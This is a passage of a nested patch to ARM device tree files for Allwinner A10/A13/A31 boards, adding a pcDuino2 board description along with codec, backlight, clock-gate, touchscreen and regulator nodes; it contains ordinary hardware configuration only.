-+ * Copyright 2015 Siarhei Siamashka <siarhei.siamashka at gmail.com>
-+ *
-+ * This file is dual-licensed: you can use it either under the terms
-+ * of the GPL or the X11 license, at your option. Note that this dual
-+ * licensing only applies to this file, and not this project as a
-+ * whole.
-+ *
-+ *  a) This file is free software; you can redistribute it and/or
-+ *     modify it under the terms of the GNU General Public License as
-+ *     published by the Free Software Foundation; either version 2 of the
-+ *     License, or (at your option) any later version.
-+ *
-+ *     This file is distributed in the hope that it will be useful,
-+ *     but WITHOUT ANY WARRANTY; without even the implied warranty of
-+ *     MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
-+ *     GNU General Public License for more details.
-+ *
-+ * Or, alternatively,
-+ *
-+ *  b) Permission is hereby granted, free of charge, to any person
-+ *     obtaining a copy of this software and associated documentation
-+ *     files (the "Software"), to deal in the Software without
-+ *     restriction, including without limitation the rights to use,
-+ *     copy, modify, merge, publish, distribute, sublicense, and/or
-+ *     sell copies of the Software, and to permit persons to whom the
-+ *     Software is furnished to do so, subject to the following
-+ *     conditions:
-+ *
-+ *     The above copyright notice and this permission notice shall be
-+ *     included in all copies or substantial portions of the Software.
-+ *
-+ *     THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
-+ *     EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES
-+ *     OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND
-+ *     NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT
-+ *     HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY,
-+ *     WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING
-+ *     FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR
-+ *     OTHER DEALINGS IN THE SOFTWARE.
-+ */
-+
-+/*
-+ * The LinkSprite pcDuino2 board is almost identical to the older
-+ * LinkSprite pcDuino1 board. The only software visible difference
-+ * is that the pcDuino2 board got a USB VBUS voltage regulator, which
-+ * is controlled by the PD2 pin (pulled-up by default). Also one of
-+ * the USB host ports has been replaced with a USB WIFI chip.
-+ */
-+
-+#include "sun4i-a10-pcduino.dts"
-+
-+/ {
-+	model = "LinkSprite pcDuino2";
-+	compatible = "linksprite,a10-pcduino2", "allwinner,sun4i-a10";
-+};
-+
-+&pio {
-+	usb2_vbus_pin_pcduino2: usb2_vbus_pin at 0 {
-+		allwinner,pins = "PD2";
-+		allwinner,function = "gpio_out";
-+		allwinner,drive = <SUN4I_PINCTRL_10_MA>;
-+		allwinner,pull = <SUN4I_PINCTRL_NO_PULL>;
-+	};
-+};
-+
-+&reg_usb2_vbus {
-+	pinctrl-names = "default";
-+	pinctrl-0 = <&usb2_vbus_pin_pcduino2>;
-+	gpio = <&pio 3 2 GPIO_ACTIVE_HIGH>;
-+	status = "okay";
-+};
-+
-+&usbphy {
-+	usb1_vbus-supply = <&reg_vcc3v3>; /* USB WIFI is always on */
-+	usb2_vbus-supply = <&reg_usb2_vbus>;
-+	status = "okay";
-+};
---- a/arch/arm/dts/sun4i-a10-pov-protab2-ips9.dts
-+++ b/arch/arm/dts/sun4i-a10-pov-protab2-ips9.dts
-@@ -47,6 +47,7 @@
- #include <dt-bindings/input/input.h>
- #include <dt-bindings/interrupt-controller/irq.h>
- #include <dt-bindings/pinctrl/sun4i-a10.h>
-+#include <dt-bindings/pwm/pwm.h>
- 
- / {
- 	model = "Point of View Protab2-IPS9";
-@@ -56,11 +57,28 @@
- 		serial0 = &uart0;
- 	};
- 
-+	backlight: backlight {
-+		compatible = "pwm-backlight";
-+		pinctrl-names = "default";
-+		pinctrl-0 = <&bl_en_pin_protab>;
-+		pwms = <&pwm 0 50000 PWM_POLARITY_INVERTED>;
-+		brightness-levels = <0 10 20 30 40 50 60 70 80 90 100>;
-+		default-brightness-level = <8>;
-+		enable-gpios = <&pio 7 7 GPIO_ACTIVE_HIGH>; /* PH7 */
-+	};
-+
- 	chosen {
- 		stdout-path = "serial0:115200n8";
- 	};
- };
- 
-+&codec {
-+	pinctrl-names = "default";
-+	pinctrl-0 = <&codec_pa_pin>;
-+	allwinner,pa-gpios = <&pio 7 15 GPIO_ACTIVE_HIGH>; /* PH15 */
-+	status = "okay";
-+};
-+
- &cpu0 {
- 	cpu-supply = <&reg_dcdc2>;
- };
-@@ -86,12 +104,36 @@
- 	pinctrl-names = "default";
- 	pinctrl-0 = <&i2c1_pins_a>;
- 	status = "okay";
-+
-+	/* Accelerometer */
-+	bma250 at 18 {
-+		compatible = "bosch,bma250";
-+		reg = <0x18>;
-+		interrupt-parent = <&pio>;
-+		interrupts = <7 0 IRQ_TYPE_EDGE_RISING>; /* PH0 / EINT0 */
-+	};
- };
- 
- &i2c2 {
- 	pinctrl-names = "default";
- 	pinctrl-0 = <&i2c2_pins_a>;
- 	status = "okay";
-+
-+	pixcir_ts at 5c {
-+		pinctrl-names = "default";
-+		pinctrl-0 = <&touchscreen_pins>;
-+		compatible = "pixcir,pixcir_tangoc";
-+		reg = <0x5c>;
-+		interrupt-parent = <&pio>;
-+		interrupts = <7 21 IRQ_TYPE_EDGE_FALLING>; /* EINT21 (PH21) */
-+		attb-gpio = <&pio 7 21 GPIO_ACTIVE_HIGH>; /* PH21 */
-+		enable-gpios = <&pio 0 5 GPIO_ACTIVE_LOW>;
-+		wake-gpios = <&pio 1 13 GPIO_ACTIVE_LOW>;
-+		touchscreen-size-x = <1024>;
-+		touchscreen-size-y = <768>;
-+		touchscreen-inverted-x;
-+		touchscreen-inverted-y;
-+	};
- };
- 
- &lradc {
-@@ -128,6 +170,27 @@
- };
- 
- &pio {
-+	bl_en_pin_protab: bl_en_pin at 0 {
-+		allwinner,pins = "PH7";
-+		allwinner,function = "gpio_out";
-+		allwinner,drive = <SUN4I_PINCTRL_10_MA>;
-+		allwinner,pull = <SUN4I_PINCTRL_NO_PULL>;
-+	};
-+
-+	codec_pa_pin: codec_pa_pin at 0 {
-+		allwinner,pins = "PH15";
-+		allwinner,function = "gpio_out";
-+		allwinner,drive = <SUN4I_PINCTRL_10_MA>;
-+		allwinner,pull = <SUN4I_PINCTRL_NO_PULL>;
-+	};
-+
-+	touchscreen_pins: touchscreen_pins at 0 {
-+		allwinner,pins = "PA5", "PB13";
-+		allwinner,function = "gpio_out";
-+		allwinner,drive = <SUN4I_PINCTRL_10_MA>;
-+		allwinner,pull = <SUN4I_PINCTRL_NO_PULL>;
-+	};
-+
- 	usb0_id_detect_pin: usb0_id_detect_pin at 0 {
- 		allwinner,pins = "PH4";
- 		allwinner,function = "gpio_in";
-@@ -143,6 +206,12 @@
- 	};
- };
- 
-+&pwm {
-+	pinctrl-names = "default";
-+	pinctrl-0 = <&pwm0_pins_a>;
-+	status = "okay";
-+};
-+
- &reg_dcdc2 {
- 	regulator-always-on;
- 	regulator-min-microvolt = <1000000>;
---- a/arch/arm/dts/sun4i-a10.dtsi
-+++ b/arch/arm/dts/sun4i-a10.dtsi
-@@ -45,6 +45,7 @@
- 
- #include <dt-bindings/thermal/thermal.h>
- 
-+#include <dt-bindings/clock/sun4i-a10-pll2.h>
- #include <dt-bindings/dma/sun4i-a10.h>
- #include <dt-bindings/pinctrl/sun4i-a10.h>
- 
-@@ -65,7 +66,7 @@
- 				     "simple-framebuffer";
- 			allwinner,pipeline = "de_be0-lcd0-hdmi";
- 			clocks = <&pll5 1>, <&ahb_gates 36>, <&ahb_gates 43>,
--				 <&ahb_gates 44>;
-+				 <&ahb_gates 44>, <&dram_gates 26>;
- 			status = "disabled";
- 		};
- 
-@@ -74,7 +75,8 @@
- 				     "simple-framebuffer";
- 			allwinner,pipeline = "de_fe0-de_be0-lcd0-hdmi";
- 			clocks = <&pll5 1>, <&ahb_gates 36>, <&ahb_gates 43>,
--				 <&ahb_gates 44>, <&ahb_gates 46>;
-+				 <&ahb_gates 44>, <&ahb_gates 46>,
-+				 <&dram_gates 25>, <&dram_gates 26>;
- 			status = "disabled";
- 		};
- 
-@@ -83,7 +85,8 @@
- 				     "simple-framebuffer";
- 			allwinner,pipeline = "de_fe0-de_be0-lcd0";
- 			clocks = <&pll5 1>, <&ahb_gates 36>, <&ahb_gates 44>,
--				 <&ahb_gates 46>;
-+				 <&ahb_gates 46>, <&dram_gates 25>,
-+				 <&dram_gates 26>;
- 			status = "disabled";
- 		};
- 
-@@ -92,7 +95,8 @@
- 				     "simple-framebuffer";
- 			allwinner,pipeline = "de_fe0-de_be0-lcd0-tve0";
- 			clocks = <&pll5 1>, <&ahb_gates 34>, <&ahb_gates 36>,
--				 <&ahb_gates 44>, <&ahb_gates 46>;
-+				 <&ahb_gates 44>, <&ahb_gates 46>,
-+				 <&dram_gates 25>, <&dram_gates 26>;
- 			status = "disabled";
- 		};
- 	};
-@@ -195,6 +199,15 @@
- 			clock-output-names = "pll1";
- 		};
- 
-+		pll2: clk at 01c20008 {
-+			#clock-cells = <1>;
-+			compatible = "allwinner,sun4i-a10-pll2-clk";
-+			reg = <0x01c20008 0x8>;
-+			clocks = <&osc24M>;
-+			clock-output-names = "pll2-1x", "pll2-2x",
-+					     "pll2-4x", "pll2-8x";
-+		};
-+
- 		pll4: clk at 01c20018 {
- 			#clock-cells = <0>;
- 			compatible = "allwinner,sun4i-a10-pll1-clk";
-@@ -241,6 +254,7 @@
- 			compatible = "allwinner,sun4i-a10-axi-gates-clk";
- 			reg = <0x01c2005c 0x4>;
- 			clocks = <&axi>;
-+			clock-indices = <0>;
- 			clock-output-names = "axi_dram";
- 		};
- 
-@@ -257,17 +271,36 @@
- 			compatible = "allwinner,sun4i-a10-ahb-gates-clk";
- 			reg = <0x01c20060 0x8>;
- 			clocks = <&ahb>;
-+			clock-indices = <0>, <1>,
-+					<2>, <3>,
-+					<4>, <5>, <6>,
-+					<7>, <8>, <9>,
-+					<10>, <11>, <12>,
-+					<13>, <14>, <16>,
-+					<17>, <18>, <20>,
-+					<21>, <22>, <23>,
-+					<24>, <25>, <26>,
-+					<32>, <33>, <34>,
-+					<35>, <36>, <37>,
-+					<40>, <41>, <43>,
-+					<44>, <45>,
-+					<46>, <47>,
-+					<50>, <52>;
- 			clock-output-names = "ahb_usb0", "ahb_ehci0",
--				"ahb_ohci0", "ahb_ehci1", "ahb_ohci1", "ahb_ss",
--				"ahb_dma", "ahb_bist", "ahb_mmc0", "ahb_mmc1",
--				"ahb_mmc2", "ahb_mmc3", "ahb_ms", "ahb_nand",
--				"ahb_sdram", "ahb_ace",	"ahb_emac", "ahb_ts",
--				"ahb_spi0", "ahb_spi1", "ahb_spi2", "ahb_spi3",
--				"ahb_pata", "ahb_sata", "ahb_gps", "ahb_ve",
--				"ahb_tvd", "ahb_tve0", "ahb_tve1", "ahb_lcd0",
--				"ahb_lcd1", "ahb_csi0", "ahb_csi1", "ahb_hdmi",
--				"ahb_de_be0", "ahb_de_be1", "ahb_de_fe0",
--				"ahb_de_fe1", "ahb_mp", "ahb_mali400";
-+					     "ahb_ohci0", "ahb_ehci1",
-+					     "ahb_ohci1", "ahb_ss", "ahb_dma",
-+					     "ahb_bist", "ahb_mmc0", "ahb_mmc1",
-+					     "ahb_mmc2", "ahb_mmc3", "ahb_ms",
-+					     "ahb_nand", "ahb_sdram", "ahb_ace",
-+					     "ahb_emac", "ahb_ts", "ahb_spi0",
-+					     "ahb_spi1", "ahb_spi2", "ahb_spi3",
-+					     "ahb_pata", "ahb_sata", "ahb_gps",
-+					     "ahb_ve", "ahb_tvd", "ahb_tve0",
-+					     "ahb_tve1", "ahb_lcd0", "ahb_lcd1",
-+					     "ahb_csi0", "ahb_csi1", "ahb_hdmi",
-+					     "ahb_de_be0", "ahb_de_be1",
-+					     "ahb_de_fe0", "ahb_de_fe1",
-+					     "ahb_mp", "ahb_mali400";
- 		};
- 
- 		apb0: apb0 at 01c20054 {
-@@ -283,9 +316,14 @@
- 			compatible = "allwinner,sun4i-a10-apb0-gates-clk";
- 			reg = <0x01c20068 0x4>;
- 			clocks = <&apb0>;
-+			clock-indices = <0>, <1>,
-+					<2>, <3>,
-+					<5>, <6>,
-+					<7>, <10>;
- 			clock-output-names = "apb0_codec", "apb0_spdif",
--				"apb0_ac97", "apb0_iis", "apb0_pio", "apb0_ir0",
--				"apb0_ir1", "apb0_keypad";
-+					     "apb0_ac97", "apb0_iis",
-+					     "apb0_pio", "apb0_ir0",
-+					     "apb0_ir1", "apb0_keypad";
- 		};
- 
- 		apb1: clk at 01c20058 {
-@@ -301,12 +339,22 @@
- 			compatible = "allwinner,sun4i-a10-apb1-gates-clk";
- 			reg = <0x01c2006c 0x4>;
- 			clocks = <&apb1>;
-+			clock-indices = <0>, <1>,
-+					<2>, <4>,
-+					<5>, <6>,
-+					<7>, <16>,
-+					<17>, <18>,
-+					<19>, <20>,
-+					<21>, <22>,
-+					<23>;
- 			clock-output-names = "apb1_i2c0", "apb1_i2c1",
--				"apb1_i2c2", "apb1_can", "apb1_scr",
--				"apb1_ps20", "apb1_ps21", "apb1_uart0",
--				"apb1_uart1", "apb1_uart2", "apb1_uart3",
--				"apb1_uart4", "apb1_uart5", "apb1_uart6",
--				"apb1_uart7";
-+					     "apb1_i2c2", "apb1_can",
-+					     "apb1_scr", "apb1_ps20",
-+					     "apb1_ps21", "apb1_uart0",
-+					     "apb1_uart1", "apb1_uart2",
-+					     "apb1_uart3", "apb1_uart4",
-+					     "apb1_uart5", "apb1_uart6",
-+					     "apb1_uart7";
- 		};
- 
- 		nand_clk: clk at 01c20080 {
-@@ -446,6 +494,48 @@
- 			clocks = <&osc24M>, <&pll6 1>, <&pll5 1>;
- 			clock-output-names = "spi3";
- 		};
-+
-+		dram_gates: clk at 01c20100 {
-+			#clock-cells = <1>;
-+			compatible = "allwinner,sun4i-a10-dram-gates-clk";
-+			reg = <0x01c20100 0x4>;
-+			clocks = <&pll5 0>;
-+			clock-indices = <0>,
-+					<1>, <2>,
-+					<3>,
-+					<4>,
-+					<5>, <6>,
-+					<15>,
-+					<24>, <25>,
-+					<26>, <27>,
-+					<28>, <29>;
-+			clock-output-names = "dram_ve",
-+					     "dram_csi0", "dram_csi1",
-+					     "dram_ts",
-+					     "dram_tvd",
-+					     "dram_tve0", "dram_tve1",
-+					     "dram_output",
-+					     "dram_de_fe1", "dram_de_fe0",
-+					     "dram_de_be0", "dram_de_be1",
-+					     "dram_de_mp", "dram_ace";
-+		};
-+
-+		ve_clk: clk at 01c2013c {
-+			#clock-cells = <0>;
-+			#reset-cells = <0>;
-+			compatible = "allwinner,sun4i-a10-ve-clk";
-+			reg = <0x01c2013c 0x4>;
-+			clocks = <&pll4>;
-+			clock-output-names = "ve";
-+		};
-+
-+		codec_clk: clk at 01c20140 {
-+			#clock-cells = <0>;
-+			compatible = "allwinner,sun4i-a10-codec-clk";
-+			reg = <0x01c20140 0x4>;
-+			clocks = <&pll2 SUN4I_A10_PLL2_1X>;
-+			clock-output-names = "codec";
-+		};
- 	};
- 
- 	soc at 01c00000 {
-@@ -656,6 +746,14 @@
- 			status = "disabled";
- 		};
- 
-+		crypto: crypto-engine at 01c15000 {
-+			compatible = "allwinner,sun4i-a10-crypto";
-+			reg = <0x01c15000 0x1000>;
-+			interrupts = <86>;
-+			clocks = <&ahb_gates 5>, <&ss_clk>;
-+			clock-names = "ahb", "mod";
-+		};
-+
- 		spi2: spi at 01c17000 {
- 			compatible = "allwinner,sun4i-a10-spi";
- 			reg = <0x01c17000 0x1000>;
-@@ -961,6 +1059,19 @@
- 			status = "disabled";
- 		};
- 
-+		codec: codec at 01c22c00 {
-+			#sound-dai-cells = <0>;
-+			compatible = "allwinner,sun4i-a10-codec";
-+			reg = <0x01c22c00 0x40>;
-+			interrupts = <30>;
-+			clocks = <&apb0_gates 0>, <&codec_clk>;
-+			clock-names = "apb", "codec";
-+			dmas = <&dma SUN4I_DMA_NORMAL 19>,
-+			       <&dma SUN4I_DMA_NORMAL 19>;
-+			dma-names = "rx", "tx";
-+			status = "disabled";
-+		};
-+
- 		sid: eeprom at 01c23800 {
- 			compatible = "allwinner,sun4i-a10-sid";
- 			reg = <0x01c23800 0x10>;
---- a/arch/arm/dts/sun5i-a10s-auxtek-t004.dts
-+++ b/arch/arm/dts/sun5i-a10s-auxtek-t004.dts
-@@ -86,6 +86,20 @@
- 	status = "okay";
- };
- 
-+&i2c0 {
-+	pinctrl-names = "default";
-+	pinctrl-0 = <&i2c0_pins_a>;
-+	status = "okay";
-+
-+	axp152: pmic at 30 {
-+		compatible = "x-powers,axp152";
-+		reg = <0x30>;
-+		interrupts = <0>;
-+		interrupt-controller;
-+		#interrupt-cells = <1>;
-+	};
-+};
-+
- &mmc0 {
- 	pinctrl-names = "default";
- 	pinctrl-0 = <&mmc0_pins_a>, <&mmc0_cd_pin_t004>;
---- a/arch/arm/dts/sun5i-a10s-olinuxino-micro.dts
-+++ b/arch/arm/dts/sun5i-a10s-olinuxino-micro.dts
-@@ -111,7 +111,7 @@
- 	status = "okay";
- 
- 	at24 at 50 {
--		compatible = "at,24c16";
-+		compatible = "atmel,24c16";
- 		pagesize = <16>;
- 		reg = <0x50>;
- 		read-only;
---- a/arch/arm/dts/sun5i-a13-empire-electronix-d709.dts
-+++ b/arch/arm/dts/sun5i-a13-empire-electronix-d709.dts
-@@ -123,7 +123,7 @@
- 
- &mmc0 {
- 	pinctrl-names = "default";
--	pinctrl-0 = <&mmc0_pins_a>, <&mmc0_cd_pin_inet98fv2>;
-+	pinctrl-0 = <&mmc0_pins_a>, <&mmc0_cd_pin_d709>;
- 	vmmc-supply = <&reg_vcc3v3>;
- 	bus-width = <4>;
- 	cd-gpios = <&pio 6 0 GPIO_ACTIVE_HIGH>; /* PG0 */
-@@ -131,27 +131,12 @@
- 	status = "okay";
- };
- 
--&mmc2 {
--	pinctrl-names = "default";
--	pinctrl-0 = <&mmc2_pins_a>;
--	vmmc-supply = <&reg_vcc3v3>;
--	bus-width = <8>;
--	non-removable;
--	status = "okay";
--
--	mmccard: mmccard at 0 {
--		reg = <0>;
--		compatible = "mmc-card";
--		broken-hpi;
--	};
--};
--
- &otg_sram {
- 	status = "okay";
- };
- 
- &pio {
--	mmc0_cd_pin_inet98fv2: mmc0_cd_pin at 0 {
-+	mmc0_cd_pin_d709: mmc0_cd_pin at 0 {
- 		allwinner,pins = "PG0";
- 		allwinner,function = "gpio_in";
- 		allwinner,drive = <SUN4I_PINCTRL_10_MA>;
---- a/arch/arm/dts/sun5i-a13-inet-98v-rev2.dts
-+++ b/arch/arm/dts/sun5i-a13-inet-98v-rev2.dts
-@@ -123,21 +123,6 @@
- 	status = "okay";
- };
- 
--&mmc2 {
--	pinctrl-names = "default";
--	pinctrl-0 = <&mmc2_pins_a>;
--	vmmc-supply = <&reg_vcc3v3>;
--	bus-width = <8>;
--	non-removable;
--	status = "okay";
--
--	mmccard: mmccard at 0 {
--		reg = <0>;
--		compatible = "mmc-card";
--		broken-hpi;
--	};
--};
--
- &otg_sram {
- 	status = "okay";
- };
-@@ -201,11 +186,6 @@
- 	status = "okay";
- };
- 
--&reg_usb1_vbus {
--	gpio = <&pio 6 11 GPIO_ACTIVE_HIGH>; /* PG11 */
--	status = "okay";
--};
--
- &uart1 {
- 	pinctrl-names = "default";
- 	pinctrl-0 = <&uart1_pins_b>;
-@@ -221,16 +201,12 @@
- 	allwinner,pins = "PG12";
- };
- 
--&usb1_vbus_pin_a {
--	allwinner,pins = "PG11";
--};
--
- &usbphy {
- 	pinctrl-names = "default";
- 	pinctrl-0 = <&usb0_id_detect_pin>, <&usb0_vbus_detect_pin>;
- 	usb0_id_det-gpio = <&pio 6 2 GPIO_ACTIVE_HIGH>; /* PG2 */
- 	usb0_vbus_det-gpio = <&pio 6 1 GPIO_ACTIVE_HIGH>; /* PG1 */
- 	usb0_vbus-supply = <&reg_usb0_vbus>;
--	usb1_vbus-supply = <&reg_usb1_vbus>;
-+	usb1_vbus-supply = <&reg_ldo3>;
- 	status = "okay";
- };
---- a/arch/arm/dts/sun5i-a13-utoo-p66.dts
-+++ b/arch/arm/dts/sun5i-a13-utoo-p66.dts
-@@ -47,11 +47,21 @@
- #include <dt-bindings/input/input.h>
- #include <dt-bindings/interrupt-controller/irq.h>
- #include <dt-bindings/pinctrl/sun4i-a10.h>
-+#include <dt-bindings/pwm/pwm.h>
- 
- / {
- 	model = "Utoo P66";
- 	compatible = "utoo,p66", "allwinner,sun5i-a13";
- 
-+	backlight: backlight {
-+		compatible = "pwm-backlight";
-+		pwms = <&pwm 0 50000 PWM_POLARITY_INVERTED>;
-+		/* Note levels of 10 / 20% result in backlight off */
-+		brightness-levels = <0 30 40 50 60 70 80 90 100>;
-+		default-brightness-level = <6>;
-+		/* TODO: backlight uses axp gpio1 as enable pin */
-+	};
-+
- 	i2c_lcd: i2c at 0 {
- 		/* The lcd panel i2c interface is hooked up via gpios */
- 		compatible = "i2c-gpio";
-@@ -63,6 +73,13 @@
- 	};
- };
- 
-+&codec {
-+	pinctrl-names = "default";
-+	pinctrl-0 = <&codec_pa_pin>;
-+	allwinner,pa-gpios = <&pio 6 3 GPIO_ACTIVE_HIGH>; /* PG3 */
-+	status = "okay";
-+};
-+
- &cpu0 {
- 	cpu-supply = <&reg_dcdc2>;
- };
-@@ -158,6 +175,13 @@
- };
- 
- &pio {
-+	codec_pa_pin: codec_pa_pin at 0 {
-+		allwinner,pins = "PG3";
-+		allwinner,function = "gpio_out";
-+		allwinner,drive = <SUN4I_PINCTRL_10_MA>;
-+		allwinner,pull = <SUN4I_PINCTRL_NO_PULL>;
-+	};
-+
- 	mmc0_cd_pin_p66: mmc0_cd_pin at 0 {
- 		allwinner,pins = "PG0";
- 		allwinner,function = "gpio_in";
-@@ -201,6 +225,12 @@
- 	};
- };
- 
-+&pwm {
-+	pinctrl-names = "default";
-+	pinctrl-0 = <&pwm0_pins>;
-+	status = "okay";
-+};
-+
- &reg_dcdc2 {
- 	regulator-always-on;
- 	regulator-min-microvolt = <1000000>;
---- a/arch/arm/dts/sun5i-q8-common.dtsi
-+++ b/arch/arm/dts/sun5i-q8-common.dtsi
-@@ -41,11 +41,21 @@
-  */
- #include "sunxi-q8-common.dtsi"
- 
-+#include <dt-bindings/pwm/pwm.h>
-+
- / {
- 	aliases {
- 		serial0 = &uart1;
- 	};
- 
-+	backlight: backlight {
-+		compatible = "pwm-backlight";
-+		pwms = <&pwm 0 50000 PWM_POLARITY_INVERTED>;
-+		brightness-levels = <0 10 20 30 40 50 60 70 80 90 100>;
-+		default-brightness-level = <8>;
-+		/* TODO: backlight uses axp gpio1 as enable pin */
-+	};
-+
- 	chosen {
- 		stdout-path = "serial0:115200n8";
- 	};
---- a/arch/arm/dts/sun5i-r8-chip.dts
-+++ b/arch/arm/dts/sun5i-r8-chip.dts
-@@ -64,6 +64,26 @@
- 	chosen {
- 		stdout-path = "serial0:115200n8";
- 	};
-+
-+	wifi_reg_on: wifi_reg_on {
-+		compatible = "regulator-fixed";
-+		pinctrl-names = "default";
-+		pinctrl-0 = <&chip_wifi_reg_on_pin>;
-+
-+		regulator-name = "wifi-reg-on";
-+		regulator-min-microvolt = <3300000>;
-+		regulator-max-microvolt = <3300000>;
-+		gpio = <&pio 2 19 GPIO_ACTIVE_HIGH>; /* PC19 */
-+		enable-active-high;
-+	};
-+};
-+
-+&codec {
-+	status = "okay";
-+};
-+
-+&cpu0 {
-+	cpu-supply = <&reg_dcdc2>;
- };
- 
- &ehci0 {
-@@ -109,10 +129,14 @@
- 	};
- };
- 
-+&mmc0_pins_a {
-+	allwinner,pull = <SUN4I_PINCTRL_PULL_UP>;
-+};
-+
- &mmc0 {
- 	pinctrl-names = "default";
- 	pinctrl-0 = <&mmc0_pins_a>;
--	vmmc-supply = <&reg_vcc3v3>;
-+	vmmc-supply = <&wifi_reg_on>;
- 	bus-width = <4>;
- 	non-removable;
- 	status = "okay";
-@@ -134,6 +158,13 @@
- 		allwinner,pull = <SUN4I_PINCTRL_NO_PULL>;
- 	};
- 
-+	chip_wifi_reg_on_pin: chip_wifi_reg_on_pin at 0 {
-+		allwinner,pins = "PC19";
-+		allwinner,function = "gpio_out";
-+		allwinner,drive = <SUN4I_PINCTRL_10_MA>;
-+		allwinner,pull = <SUN4I_PINCTRL_NO_PULL>;
-+	};
-+
- 	chip_id_det_pin: chip_id_det_pin at 0 {
- 		allwinner,pins = "PG2";
- 		allwinner,function = "gpio_in";
-@@ -167,6 +198,20 @@
- 	regulator-always-on;
- };
- 
-+&reg_ldo3 {
-+	regulator-min-microvolt = <3300000>;
-+	regulator-max-microvolt = <3300000>;
-+	regulator-name = "vdd-wifi1";
-+	regulator-always-on;
-+};
-+
-+&reg_ldo4 {
-+	regulator-min-microvolt = <3300000>;
-+	regulator-max-microvolt = <3300000>;
-+	regulator-name = "vdd-wifi2";
-+	regulator-always-on;
-+};
-+
- &reg_ldo5 {
- 	regulator-min-microvolt = <1800000>;
- 	regulator-max-microvolt = <1800000>;
---- a/arch/arm/dts/sun5i.dtsi
-+++ b/arch/arm/dts/sun5i.dtsi
-@@ -44,6 +44,7 @@
- 
- #include "skeleton.dtsi"
- 
-+#include <dt-bindings/clock/sun4i-a10-pll2.h>
- #include <dt-bindings/dma/sun4i-a10.h>
- #include <dt-bindings/pinctrl/sun4i-a10.h>
- 
-@@ -102,6 +103,15 @@
- 			clock-output-names = "pll1";
- 		};
- 
-+		pll2: clk at 01c20008 {
-+			#clock-cells = <1>;
-+			compatible = "allwinner,sun5i-a13-pll2-clk";
-+			reg = <0x01c20008 0x8>;
-+			clocks = <&osc24M>;
-+			clock-output-names = "pll2-1x", "pll2-2x",
-+					     "pll2-4x", "pll2-8x";
-+		};
-+
- 		pll4: clk at 01c20018 {
- 			#clock-cells = <0>;
- 			compatible = "allwinner,sun4i-a10-pll1-clk";
-@@ -285,6 +295,14 @@
- 			clock-output-names = "usb_ohci0", "usb_phy";
- 		};
- 
-+		codec_clk: clk at 01c20140 {
-+			#clock-cells = <0>;
-+			compatible = "allwinner,sun4i-a10-codec-clk";
-+			reg = <0x01c20140 0x4>;
-+			clocks = <&pll2 SUN4I_A10_PLL2_1X>;
-+			clock-output-names = "codec";
-+		};
-+
- 		mbus_clk: clk at 01c2015c {
- 			#clock-cells = <0>;
- 			compatible = "allwinner,sun5i-a13-mbus-clk";
-@@ -571,6 +589,19 @@
- 			status = "disabled";
- 		};
- 
-+		codec: codec at 01c22c00 {
-+			#sound-dai-cells = <0>;
-+			compatible = "allwinner,sun4i-a10-codec";
-+			reg = <0x01c22c00 0x40>;
-+			interrupts = <30>;
-+			clocks = <&apb0_gates 0>, <&codec_clk>;
-+			clock-names = "apb", "codec";
-+			dmas = <&dma SUN4I_DMA_NORMAL 19>,
-+			       <&dma SUN4I_DMA_NORMAL 19>;
-+			dma-names = "rx", "tx";
-+			status = "disabled";
-+		};
-+
- 		sid: eeprom at 01c23800 {
- 			compatible = "allwinner,sun4i-a10-sid";
- 			reg = <0x01c23800 0x10>;
---- a/arch/arm/dts/sun6i-a31-colombus.dts
-+++ b/arch/arm/dts/sun6i-a31-colombus.dts
-@@ -60,6 +60,16 @@
- 	chosen {
- 		stdout-path = "serial0:115200n8";
- 	};
-+
-+	i2c_lcd: i2c at 0 {
-+		/* The lcd panel i2c interface is hooked up via gpios */
-+		compatible = "i2c-gpio";
-+		pinctrl-names = "default";
-+		pinctrl-0 = <&i2c_lcd_pins>;
-+		gpios = <&pio 0 23 GPIO_ACTIVE_HIGH>, /* PA23, sda */
-+			<&pio 0 24 GPIO_ACTIVE_HIGH>; /* PA24, scl */
-+		i2c-gpio,delay-us = <5>;
-+	};
- };
- 
- &ehci1 {
-@@ -94,6 +104,13 @@
- 	pinctrl-names = "default";
- 	pinctrl-0 = <&i2c2_pins_a>;
- 	status = "okay";
-+
-+	mma8452: mma8452 at 1d {
-+		compatible = "fsl,mma8452";
-+		reg = <0x1d>;
-+		interrupt-parent = <&pio>;
-+		interrupts = <0 9 IRQ_TYPE_LEVEL_LOW>; /* PA9 */
-+	};
- };
- 
- &mmc0 {
-@@ -124,6 +141,13 @@
- 		allwinner,drive = <SUN4I_PINCTRL_10_MA>;
- 		allwinner,pull = <SUN4I_PINCTRL_NO_PULL>;
- 	};
-+
-+	i2c_lcd_pins: i2c_lcd_pin at 0 {
-+		allwinner,pins = "PA23", "PA24";
-+		allwinner,function = "gpio_out";
-+		allwinner,drive = <SUN4I_PINCTRL_10_MA>;
-+		allwinner,pull = <SUN4I_PINCTRL_PULL_UP>;
-+	};
- };
- 
- &reg_usb2_vbus {
---- a/arch/arm/dts/sun6i-a31-hummingbird.dts
-+++ b/arch/arm/dts/sun6i-a31-hummingbird.dts
-@@ -54,6 +54,8 @@
- 	compatible = "merrii,a31-hummingbird", "allwinner,sun6i-a31";
- 
- 	aliases {
-+		rtc0 = &pcf8563;
-+		rtc1 = &rtc;
- 		serial0 = &uart0;
- 	};
- 
-@@ -67,13 +69,17 @@
- 	};
- };
- 
-+&cpu0 {
-+	cpu-supply = <&reg_dcdc3>;
-+};
-+
- &ehci0 {
- 	status = "okay";
- };
- 
- &gmac {
- 	pinctrl-names = "default";
--	pinctrl-0 = <&gmac_pins_rgmii_a>;
-+	pinctrl-0 = <&gmac_pins_rgmii_a>, <&gmac_phy_reset_pin_hummingbird>;
- 	phy = <&phy1>;
- 	phy-mode = "rgmii";
- 	snps,reset-gpio = <&pio 0 21 GPIO_ACTIVE_HIGH>;
-@@ -119,7 +125,7 @@
- &mmc0 {
- 	pinctrl-names = "default";
- 	pinctrl-0 = <&mmc0_pins_a>, <&mmc0_cd_pin_hummingbird>;
--	vmmc-supply = <&vcc_3v0>;
